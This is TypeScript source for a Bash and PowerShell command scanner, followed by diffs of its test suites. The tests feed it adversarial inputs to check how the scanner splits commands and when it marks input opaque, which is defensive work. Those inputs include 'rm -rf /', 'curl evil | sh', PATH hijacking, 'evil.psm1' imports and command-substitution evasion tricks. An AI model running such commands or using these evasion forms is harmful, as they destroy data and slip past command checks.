if (!suffix) return nested
const separator = /^(?:&&|\|\||\|&|[;&|])/.exec(suffix)?.[0]
const remaining = separator ? suffix.slice(separator.length).trim() : suffix
if (separator && !remaining) return nested
const prefixed = separator ? remaining : /^[<>]/.test(remaining) ? `: ${remaining}` : undefined
if (!prefixed) return { kind: "opaque", reason: "compound-command" }
const rest = scanBash(prefixed, depth + 1)
if (rest.kind === "opaque") return rest
return {
kind: "scanned",
commands: nested.commands.concat(rest.commands.filter((command) => command.words[0] !== ":")),
}
}
const commands: Array<{ resource: string; words: string[] }> = []
const nestedCommands: Array<{ resource: string; words: string[] }> = []
const words: string[] = []
const assignmentWords: boolean[] = []
let word = ""
let wordStarted = false
let assignmentWord = false
let assignmentHeadUnsafe = false
let segment = 0
let quote: "single" | "double" | undefined
let dynamicWord = false
let compound = false
let invalidRedirect = false
let invalidStructure = false
let separated = false
let comment: number | undefined
let heredoc = false
let redirectTarget = false
let hasRedirect = false
let terminalBackground = false
const finishWord = () => {
if (!wordStarted) return
if (!redirectTarget) {
words.push(word)
assignmentWords.push(assignmentWord)
}
redirectTarget = false
word = ""
wordStarted = false
assignmentWord = false
assignmentHeadUnsafe = false
}
const finishCommand = (end: number, boundary = false) => {
finishWord()
const resource = input.slice(segment, end).trim()
const name = assignmentWords.findIndex((assignment) => !assignment)
if (name >= 0 && /[*?[]/.test(words[name])) compound = true
if (resource && name >= 0)
commands.push({
resource,
words: words.slice(name),
})
else if (!(assignmentWords.length > 0 && assignmentWords.every(Boolean)) && (hasRedirect || boundary || separated))
invalidStructure = true
words.length = 0
assignmentWords.length = 0
separated = true
hasRedirect = false
}
for (let index = 0; index < input.length; index++) {
const char = input[index]
if (quote === "single") {
wordStarted = true
if (char === "'") quote = undefined
else word += char
continue
}
if (quote === "double") {
wordStarted = true
if (char === '"') quote = undefined
else if (char === "\\" && index + 1 < input.length) word += input[++index]
else if ((char === "$" && input[index + 1] === "(") || char === "`") {
const substitution = bashSubstitution(input, index)
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
const result = scanBash(substitution.source, depth + 1)
if (result.kind === "opaque") return result
nestedCommands.push(...result.commands)
word += input.slice(index, substitution.end + 1)
index = substitution.end
} else {
if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
return { kind: "opaque", reason: "dynamic-execution" }
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
return { kind: "opaque", reason: "dynamic-execution" }
if (char === "$") dynamicWord = true
word += char
}
continue
}
if (char === "'") {
quote = "single"
wordStarted = true
if (!assignmentWord) assignmentHeadUnsafe = true
continue
}
if (char === '"') {
quote = "double"
wordStarted = true
if (!assignmentWord) assignmentHeadUnsafe = true
continue
}
if (char === "\\") {
if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
wordStarted = true
if (input[index + 1] === "\n") index++
else {
if (!assignmentWord) assignmentHeadUnsafe = true
word += input[++index]
}
continue
}
if ((char === "$" && input[index + 1] === "(") || char === "`") {
const substitution = bashSubstitution(input, index)
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
const result = scanBash(substitution.source, depth + 1)
if (result.kind === "opaque") return result
nestedCommands.push(...result.commands)
wordStarted = true
word += input.slice(index, substitution.end + 1)
index = substitution.end
continue
}
if ((char === "<" || char === ">") && input[index + 1] === "(") {
const substitution = bashParenthesized(input, index + 1)
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
const result = scanBash(substitution.source, depth + 1)
if (result.kind === "opaque") return result
nestedCommands.push(...result.commands)
wordStarted = true
word += input.slice(index, substitution.end + 1)
index = substitution.end
continue
}
if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
return { kind: "opaque", reason: "dynamic-execution" }
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
return { kind: "opaque", reason: "dynamic-execution" }
if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
if (char === "<" && input[index + 1] === "<") heredoc = true
if (char === "#" && !wordStarted) {
finishCommand(index)
comment = index
const newline = input.indexOf("\n", index)
if (newline === -1) break
index = newline
segment = newline + 1
continue
}
const redirect = /^(?:&>>?|<<<|<<-?|<>|<&|>&|>\||>>|>|<)/.exec(input.slice(index))?.[0]
if (redirect) {
hasRedirect = true
if (redirectTarget) invalidRedirect = true
if (wordStarted && /^\d+$/.test(word)) {
word = ""
wordStarted = false
} else finishWord()
redirectTarget = true
index += redirect.length - 1
continue
}
if ("()".includes(char) || (char === "!" && !wordStarted)) compound = true
if (/\s/.test(char) && char !== "\n") {
finishWord()
continue
}
const next = input[index + 1]
const separator =
(char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
? char + next
: char === ";" || char === "|" || char === "&" || char === "\n"
? char
: undefined
if (separator) {
finishCommand(index, true)
if (redirectTarget) invalidRedirect = true
terminalBackground = separator === "&" || separator === ";" || separator === "\n"
index += separator.length - 1
segment = index + 1
continue
}
terminalBackground = false
wordStarted = true
if (char === "$") dynamicWord = true
if (char === "=" && !assignmentHeadUnsafe && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
word += char
}
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
if (heredoc) return { kind: "opaque", reason: "heredoc" }
if (!terminalBackground && (comment === undefined || input.includes("\n", comment))) finishCommand(input.length)
if (redirectTarget) invalidRedirect = true
if (separated && !terminalBackground && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
const conditional = bashConditionalCommands(commands)
if (conditional) commands.splice(0, commands.length, ...conditional)
if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
return { kind: "opaque", reason: "compound-command" }
if (
commands.some((command) => /[$`]/.test(command.words[0] ?? "")) ||
(dynamicWord && commands[0]?.words[0]?.includes("$"))
)
return { kind: "opaque", reason: "dynamic-command-name" }
if (commands.some((command) => command.words[0]?.startsWith("=")))
return { kind: "opaque", reason: "dynamic-command-name" }
return { kind: "scanned", commands: commands.concat(nestedCommands) }
}
function bashConditionalCommands(commands: Array<{ resource: string; words: string[] }>) {
if (commands[0]?.words[0] !== "if" || commands.at(-1)?.words[0] !== "fi") return
const keywords = new Set(["if", "then", "elif", "else", "fi"])
if (
commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "") && !keywords.has(command.words[0]!))
)
return
const normalized: Array<{ resource: string; words: string[] }> = []
let phase: "condition" | "body" | "else" = "condition"
let hasCommand = false
let sawElse = false
for (const [index, command] of commands.entries()) {
const keyword = command.words[0]
if (!keywords.has(keyword ?? "")) {
normalized.push(command)
hasCommand = true
continue
}
const offset = command.resource.indexOf(keyword!) + keyword!.length
const inline =
command.words.length > 1
? { resource: command.resource.slice(offset).trim(), words: command.words.slice(1) }
: undefined
if (index === 0) {
if (inline) normalized.push(inline)
hasCommand = Boolean(inline)
continue
}
if (keyword === "then") {
if (phase !== "condition" || !hasCommand) return
phase = "body"
hasCommand = Boolean(inline)
}
if (keyword === "elif") {
if (phase !== "body" || !hasCommand || sawElse) return
phase = "condition"
hasCommand = Boolean(inline)
}
if (keyword === "else") {
if (phase !== "body" || !hasCommand || sawElse) return
phase = "else"
sawElse = true
hasCommand = Boolean(inline)
}
if (keyword === "fi") {
if (index !== commands.length - 1 || phase === "condition" || !hasCommand || inline) return
continue
}
if (inline) normalized.push(inline)
}
return normalized
}
function bashLeadingGroup(input: string) {
const start = input.search(/\S/)
if (start < 0) return
if (input[start] === "{") {
const group = bashBraced(input, start)
if (!group) return
const source = group.source.trim()
if (!source.endsWith(";")) return
return { source: source.slice(0, -1), end: group.end }
}
if (input[start] !== "(") return
return bashParenthesized(input, start)
}
function bashBraced(input: string, start: number) {
let quote: "single" | "double" | undefined
let level = 1
for (let index = start + 1; index < input.length; index++) {
const char = input[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === "'") {
quote = "single"
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (char === "{" && quote !== "double") level++
if (char !== "}" || quote === "double" || --level) continue
return { source: input.slice(start + 1, index), end: index }
}
}
function bashParenthesized(input: string, start: number) {
let quote: "single" | "double" | undefined
let level = 1
for (let index = start + 1; index < input.length; index++) {
const char = input[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === "'") {
quote = "single"
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (char === "(" && quote !== "double") level++
if (char !== ")" || quote === "double" || --level) continue
return { source: input.slice(start + 1, index), end: index }
}
}
function bashSubstitution(input: string, start: number) {
if (input[start] === "`") {
for (let index = start + 1; index < input.length; index++) {
if (input[index] === "\\") index++
else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
}
return
}
if (input.slice(start, start + 3) === "$((") return
let quote: "single" | "double" | undefined
let level = 1
for (let index = start + 2; index < input.length; index++) {
const char = input[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === "'") {
quote = "single"
continue
}
if (quote !== "double" && char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (char === "`" && quote !== "double") {
const nested = bashSubstitution(input, index)
if (!nested) return
index = nested.end
continue
}
if (quote === "double") {
if (char === "$" && input[index + 1] === "(") {
level++
index++
} else if (char === ")" && level > 1) level--
continue
}
if (char === "(") level++
if (char !== ")" || --level) continue
return { source: input.slice(start + 2, index), end: index }
}
}
export function scanPowerShell(input: string): Result {
return scanPowerShellNested(input, 0)
}
function scanPowerShellNested(input: string, depth: number): Result {
if (input.length > MAX_BASH_INPUT_LENGTH || depth >= MAX_SUBSTITUTION_DEPTH)
return { kind: "opaque", reason: "invalid-structure" }
const commands: Array<{ resource: string; words: string[] }> = []
const nestedCommands: Array<{ resource: string; words: string[] }> = []
const words: string[] = []
let segment = 0
let word = ""
let started = false
let quote: "single" | "double" | undefined
let dynamic = false
let invalid = false
let redirectTarget = false
let comment = false
let separated = false
let dangling = false
let dynamicDirectory = false
const finishWord = () => {
if (!started) return
if (!redirectTarget) words.push(word)
redirectTarget = false
word = ""
started = false
}
const finishCommand = (end: number, boundary = false) => {
finishWord()
const resource = input.slice(segment, end).trim()
if (resource) commands.push({ resource, words: [...words] })
else if (boundary && separated) invalid = true
words.length = 0
separated ||= Boolean(resource)
}
for (let index = 0; index < input.length; index++) {
const char = input[index]
if (quote) {
started = true
if (quote === "single" && char === "'" && input[index + 1] === "'") {
word += "'"
index++
} else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
else if (char === "`" && index + 1 < input.length) word += input[++index]
else {
if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
word += char
}
continue
}
if (char === "'" || char === '"') {
quote = char === "'" ? "single" : "double"
started = true
continue
}
if (char === "`" && index + 1 < input.length) {
if (words.length === 0) dynamic = true
started = true
if (input[index + 1] === "\r" && input[index + 2] === "\n") index += 2
else if (input[index + 1] === "\r" || input[index + 1] === "\n") index++
else word += input[++index]
continue
}
if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
if (char === "#" && !started) {
if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
finishCommand(index)
comment = true
const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
const newline = endings.length > 0 ? Math.min(...endings) : -1
if (newline === -1) break
comment = false
index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
segment = newline + 1
continue
}
const redirect = powerShellRedirect(input, index)
if (redirect) {
finishWord()
redirectTarget = !redirect.includes("&")
index += redirect.length - 1
continue
}
if (char === "{" && !started) {
const block = powerShellBlock(input, index)
if (!block) return { kind: "opaque", reason: "invalid-structure" }
const result = scanPowerShellNested(block.source, depth + 1)
if (result.kind === "opaque") return result
nestedCommands.push(...result.commands)
started = true
word += input.slice(index, block.end + 1)
index = block.end
continue
}
if (char === "}") return { kind: "opaque", reason: "invalid-structure" }
if (
(char === "&" || char === ".") &&
!started &&
words.length === 0 &&
(/\s/.test(input[index + 1] ?? "") || !input[index + 1])
)
continue
if ("@()".includes(char)) dynamic = true
if (/\s/.test(char) && char !== "\n" && char !== "\r") {
finishWord()
continue
}
const next = input[index + 1]
const separator =
char === "\r" && next === "\n"
? char + next
: (char === "&" && next === "&") || (char === "|" && next === "|")
? char + next
: char === ";" || char === "|" || char === "&" || char === "\n" || char === "\r"
? char
: undefined
if (separator) {
finishCommand(index, true)
if (redirectTarget) invalid = true
dangling = ![";", "&", "\n", "\r", "\r\n"].includes(separator)
index += separator.length - 1
segment = index + 1
continue
}
started = true
dangling = false
word += char
}
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
if (!comment) finishCommand(input.length)
if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
if (
dynamic ||
commands.some((command) => {
const head = command.words[0] ?? ""
if (head.includes("\\") && !/^[A-Za-z]:\\/.test(head)) return true
const rawName = shellCommandName(head)
const name = POWERSHELL_ALIASES[rawName] ?? rawName
if (head.includes("$") || head.includes("@")) return true
if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) return true
if (POWERSHELL_LOCATIONS.has(name ?? ""))
return (dynamicDirectory =
command.words.some(
(word, index) =>
index > 0 && (word.includes("(") || (word.includes("$") && !knownPowerShellDirectory(word))),
) ||
command.words.some((word, index) => index > 0 && /^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word)))
return false
})
)
return { kind: "opaque", reason: dynamicDirectory ? "dynamic-directory" : "dynamic-execution" }
return { kind: "scanned", commands: commands.concat(nestedCommands) }
}
function powerShellBlock(input: string, start: number) {
let quote: "single" | "double" | undefined
let level = 1
for (let index = start + 1; index < input.length; index++) {
const char = input[index]
if (quote === "single") {
if (char === "'" && input[index + 1] === "'") index++
else if (char === "'") quote = undefined
continue
}
if (char === "`") {
index++
continue
}
if (char === "#" && quote !== "double") {
const newline = input.indexOf("\n", index)
if (newline < 0) return
index = newline
continue
}
if (char === "<" && input[index + 1] === "#" && quote !== "double") {
const end = input.indexOf("#>", index + 2)
if (end < 0) return
index = end + 1
continue
}
if (char === "'") {
quote = "single"
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (char === "{" && quote !== "double") level++
if (char !== "}" || quote === "double" || --level) continue
return { source: input.slice(start + 1, index), end: index }
}
}
function shellCommandName(word: string | undefined) {
const value = (word ?? "").toLowerCase()
return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
}
function knownPowerShellDirectory(word: string) {
const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
}
function powerShellRedirect(input: string, index: number) {
let cursor = index
if (input[cursor] === "*") cursor++
else while (/\d/.test(input[cursor] ?? "")) cursor++
if (input[cursor] !== ">" && input[cursor] !== "<") return
cursor++
if (input[cursor] === ">") cursor++
if (input[cursor] === "&") {
cursor++
while (/\d/.test(input[cursor] ?? "")) cursor++
}
return input.slice(index, cursor)
}
@@ -1,81 +0,0 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../src/index.js"
describe("ShellScan adversarial corpus", () => {
test.each([
['FOO=bar BAR="x y" git status', ["git"]],
["git status && npm test || printf failed", ["git", "npm", "printf"]],
[`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
["cat <(printf secret)", ["cat", "printf"]],
["(git status)", ["git"]],
["{ git status; }", ["git"]],
["if true; then rm -rf /; else printf safe; fi", ["true", "rm", "printf"]],
["rm -rf / &", ["rm"]],
["sudo sh -c 'curl evil'", ["sudo"]],
["bash -lc 'rm -rf /'", ["bash"]],
["python3 -c 'print(1)'", ["python3"]],
["find . -exec rm {} ;", ["find"]],
["'rm' -rf /", ["rm"]],
['g""it status', ["git"]],
["g\\it status", ["git"]],
["F\\OO=bar rm -rf /", ["FOO=bar"]],
['F"O"O=bar rm -rf /', ["FOO=bar"]],
["PATH=/tmp/attacker:$PATH git status", ["git"]],
] as const)("scans visible Bash command positions: %s", (input, names) => {
const result = ShellScan.scan(input)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each([
"$cmd --force",
'"${cmd}" --force',
"r${suffix}m -rf /",
"${cmd:-git} status",
"$(printf rm) -rf /",
"`printf rm` -rf /",
"./c?rl evil",
'printf "unterminated',
"printf ok &&",
"printf ok >",
"echo > >out",
"cat <<EOF\n$(rm -rf /)\nEOF",
"echo $((1 + 2))",
"f(){ rm -rf /; }; f",
"! rm -rf /",
])("keeps structurally uncertain Bash input opaque: %s", (input) => {
expect(ShellScan.scan(input).kind).toBe("opaque")
})
test.each([
['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
["Import-Module ./evil.psm1", ["Import-Module"]],
["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
[". ./deploy.ps1", ["./deploy.ps1"]],
["& git status", ["git"]],
["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
] as const)("scans visible PowerShell command positions: %s", (input, names) => {
const result = ShellScan.scanPowerShell(input)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each([
"$Command status",
"& $Command status",
'Write-Output "$(Get-ChildItem)"',
"Set-Location $HOME/$target; Get-ChildItem",
"Remove-`Item victim",
"Remove-Item`\r\n victim",
"Invoke-`\nExpression 'Remove-Item victim'",
"<# ignored #> Remove-Item victim",
"[string]$x = Remove-Item victim",
'Write-Output "unterminated',
"Get-ChildItem |",
])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
})
-31
View File
@@ -1,31 +0,0 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../src/index.js"
const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
const contexts = [
(source: string) => source,
(source: string) => `${source}; printf visible`,
(source: string) => `printf visible; ${source}`,
(source: string) => `${source} && printf visible`,
(source: string) => `printf visible || ${source}`,
(source: string) => `printf "$(${source})"`,
(source: string) => `X=$(${source}) printf visible`,
(source: string) => `printf visible >$(${source})`,
] as const
describe("ShellScan recursive structural opacity", () => {
for (const seed of opaque) {
for (const outer of contexts) {
for (const inner of contexts.slice(0, 5)) {
const source = outer(inner(seed))
test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque"))
}
}
}
})
describe("ShellScan quote suppression", () => {
test.each([...opaque])("single quotes suppress active syntax: %s", (source) => {
expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
})
})
-182
View File
@@ -1,182 +0,0 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../src/index.js"
const staticCommands = [
["git status", ["git", "status"]],
["printf ok", ["printf", "ok"]],
["curl example.com", ["curl", "example.com"]],
] as const
describe("ShellScan generated properties", () => {
test("decomposes every combination of static commands and separators", () => {
const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
for (const [left, leftWords] of staticCommands) {
for (const separator of separators) {
for (const [right, rightWords] of staticCommands) {
expect(ShellScan.scan(left + separator + right)).toEqual({
kind: "scanned",
commands: [
{ resource: left, words: [...leftWords] },
{ resource: right, words: [...rightWords] },
],
})
}
}
}
})
test("keeps quoted and escaped separators in arguments", () => {
const literals = [";", "|", "&", "#", "<", ">"]
const forms = literals.flatMap((literal) => [
{ source: `'left${literal}right'`, word: `left${literal}right` },
{ source: `"left${literal}right"`, word: `left${literal}right` },
{ source: `left\\${literal}right`, word: `left${literal}right` },
])
for (const form of forms) {
expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
kind: "scanned",
commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
})
}
})
test("fails closed when valid commands are mutated with malformed syntax", () => {
const mutate = [
(command: string) => `${command} "unterminated`,
(command: string) => `${command} 'unterminated`,
(command: string) => `${command} \\`,
(command: string) => `${command} &&`,
(command: string) => `| ${command}`,
(command: string) => `${command} || || printf reached`,
(command: string) => `${command} >`,
(command: string) => `${command} > > output`,
]
for (const [command] of staticCommands) {
for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque")
}
})
test("fails closed for generated dynamic command heads", () => {
const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
const tails = ["status", "--version", "-rf /"]
for (const head of heads) {
for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
}
})
test("keeps wrappers and shell evaluators at their delegated boundary", () => {
const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
const wrapped = [
"time git status",
"command git status",
"builtin printf ok",
"exec git status",
"env FOO=bar git status",
"sudo git status",
"nice git status",
"nohup git status",
"xargs rm",
"source ./script.sh",
". ./script.sh",
"trap 'git status' EXIT",
"eval 'git status'",
"bash -c 'git status'",
"/bin/sh ./script.sh",
]
for (const prefix of prefixes) {
for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
}
})
})
describe("ShellScan generated PowerShell properties", () => {
test("decomposes every combination of static commands and separators", () => {
const commands = [
["Get-ChildItem", ["Get-ChildItem"]],
["Write-Output ok", ["Write-Output", "ok"]],
["Get-Content input.txt", ["Get-Content", "input.txt"]],
] as const
const separators = ["; ", " | ", "\n"]
for (const [left, leftWords] of commands) {
for (const separator of separators) {
for (const [right, rightWords] of commands) {
expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
kind: "scanned",
commands: [
{ resource: left, words: [...leftWords] },
{ resource: right, words: [...rightWords] },
],
})
}
}
}
})
test("keeps quoted and escaped separators in arguments", () => {
const literals = [";", "|", "&", "#", "<", ">"]
const forms = literals.flatMap((literal) => [
{ source: `'left${literal}right'`, word: `left${literal}right` },
{ source: `"left${literal}right"`, word: `left${literal}right` },
{ source: `left\`${literal}right`, word: `left${literal}right` },
])
for (const form of forms) {
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
kind: "scanned",
commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
})
}
})
test("fails closed when valid commands are mutated with malformed syntax", () => {
const mutations = [
'Write-Output ok "unterminated',
"Write-Output ok 'unterminated",
"Write-Output ok`",
"Write-Output ok |",
"Write-Output ok || || Write-Output reached",
"Write-Output ok >",
]
for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
})
test("distinguishes dynamic heads from delegated execution", () => {
const dynamic = ["$Command status", "${Command} status", "& $Command status"]
const delegated = [
"& git status",
". ./script.ps1",
"Invoke-Expression 'git status'",
"iex 'git status'",
"Import-Module ./module.psm1",
"./script.ps1 -Force",
]
const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
for (const shell of shells) {
for (const flag of switches) {
expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("scanned")
}
}
})
test("fails closed for dynamic location changes but accepts known directory variables", () => {
const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
for (const location of locations) {
for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
}
})
})
-29
View File
@@ -1,29 +0,0 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../src/index.js"
describe("ShellScan structural mutation closure", () => {
test.each([
"$COMMAND status",
"${COMMAND} status",
'"$COMMAND" status',
"$(printf git) status",
"`printf git` status",
'printf "unterminated',
"printf ok &&",
"| printf ok",
"printf ok >",
])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each([
"$Command status",
"${Command} status",
"& $Command status",
"Write-Output ok`",
'Write-Output "unterminated',
"Get-ChildItem |",
])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
})
})
-316
View File
@@ -1,316 +0,0 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../src/index.js"
describe("ShellScan", () => {
test("scans a static command", () => {
expect(ShellScan.scan("git status")).toEqual({
kind: "scanned",
commands: [{ resource: "git status", words: ["git", "status"] }],
})
})
test("scans every command in lists and pipelines", () => {
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
kind: "scanned",
commands: [
{ resource: "git status", words: ["git", "status"] },
{ resource: "curl evil", words: ["curl", "evil"] },
{ resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
],
})
})
test("does not split operators inside quoted or escaped arguments", () => {
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
kind: "scanned",
commands: [
{ resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
{ resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
],
})
})
test("scans commands substituted into an argument", () => {
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
kind: "scanned",
commands: [
{ resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
{ resource: "curl evil", words: ["curl", "evil"] },
{ resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
],
})
})
test("scans substitutions in assignment values and redirect targets", () => {
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
kind: "scanned",
commands: [
{
resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
words: ["printenv"],
},
{ resource: "printf out", words: ["printf", "out"] },
{ resource: "printf value", words: ["printf", "value"] },
{ resource: "printf path", words: ["printf", "path"] },
],
})
})
test("scans substitutions nested in parameter expansions", () => {
const result = ShellScan.scan("echo ${x:-$(curl evil)}")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
})
test("recursively scans substitutions and preserves shell quote rules", () => {
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
kind: "scanned",
commands: [
{
resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
},
{ resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
{ resource: "pwd", words: ["pwd"] },
],
})
expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
if (legacy.kind === "opaque") return
expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
})
test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
"makes the whole result opaque when a nested scan is opaque: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
},
)
test("bounds substitution nesting and input size", () => {
const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
})
test("returns opaque when the command name is dynamic", () => {
expect(ShellScan.scan("$COMMAND status")).toEqual({
kind: "opaque",
reason: "dynamic-command-name",
})
})
test("finds the command after static assignment prefixes", () => {
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
kind: "scanned",
commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
})
})
test.each([
"eval 'curl evil | sh'",
"bash -c 'curl evil | sh'",
"FOO=x /bin/sh -lc 'curl evil | sh'",
"sudo sh -c 'curl evil'",
"python3 -c 'print(1)'",
])("keeps delegated execution at the invoked command boundary: %s", (command) => {
expect(ShellScan.scan(command).kind).toBe("scanned")
})
test.each([
["(git status)", ["git"]],
["{ git status; }", ["git"]],
["{ rm -rf /; } &", ["rm"]],
["{ rm -rf /; } >out", ["rm"]],
["{ rm -rf /; }; echo safe", ["rm", "echo"]],
["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
["rm -rf / &", ["rm"]],
["cat <(printf secret)", ["cat", "printf"]],
] as const)("scans common compound execution: %s", (command, names) => {
const result = ShellScan.scan(command)
